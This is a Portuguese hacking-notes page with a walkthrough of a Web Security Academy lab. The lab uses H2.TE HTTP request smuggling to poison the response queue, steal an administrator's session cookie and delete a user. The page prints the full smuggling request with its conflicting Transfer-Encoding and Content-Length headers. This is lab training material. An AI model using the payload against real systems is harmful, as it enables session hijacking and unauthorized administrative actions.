> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/queue-poisoning-with-h2-te.md).

# Envenenamento de Fila com H2.TE

### Envenenamento da fila de respostas via contrabando de requisições H2.TE

* Aproveite a vulnerabilidade de contrabando de requisições para envenenar a fila de respostas.
* Use esse envenenamento para acessar o `/admin` painel de administração.
* Recupere a requisição do administrador (e, assim, seu cookie de sessão) quando ela se conectar, depois exclua o `carlos` usuário.

#### Contexto técnico

* A aplicação aceita requisições **HTTP/2** lado do front-end.
* O front-end **rebaixa** essas requisições HTTP/2 para HTTP/1, mesmo quando o comprimento é ambíguo.
* O ataque é baseado em dessincronização do tipo **H2.TE**:
* Envia uma requisição HTTP/2 contendo ambos:
* um `Transfer-Encoding: chunked` cabeçalho
* um `Content-Length` cabeçalho
* A conexão com o back-end é **redefinida a cada 10 requisições**:
* se a conexão estiver "quebrada", basta enviar algumas requisições normais para voltar a uma conexão limpa.
* Em HTTP/2, você não precisa definir `Content-Length` normalmente, o que torna a presença simultânea de `Transfer-Encoding` e `Content-Length` ambíguo e utilizável.

#### Fluxo do ataque

```http
POST / HTTP/2
Host: 0afc007a0423d9b980403f2c00dd00d7.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 120

0

GET / HTTP/1.1
Host: 0afc007a0423d9b980403f2c00dd00d7.web-security-academy.net
Content-Length: 12

testing=test
```

* A parte HTTP/2 é vista pelo front-end, que a converte para HTTP/1 para o back-end.
* Devido à ambiguidade `H2.TE`, o back-end interpreta o fim da requisição de forma diferente.
* O `GET / HTTP/1.1` linha e o que vem a seguir são **furtivamente injetados** como o início da próxima requisição na linha do back-end.

Nós **recupere a requisição envenenada do administrador**, o que nos permite obter: seu **cookie de sessão**.

<figure><img src="/files/5a2a0dd0ac7483b16f9f4dd691f542ab0de4e904" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9bb592f7e981ca482a545cdce8217476ecb08ce5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/queue-poisoning-with-h2-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
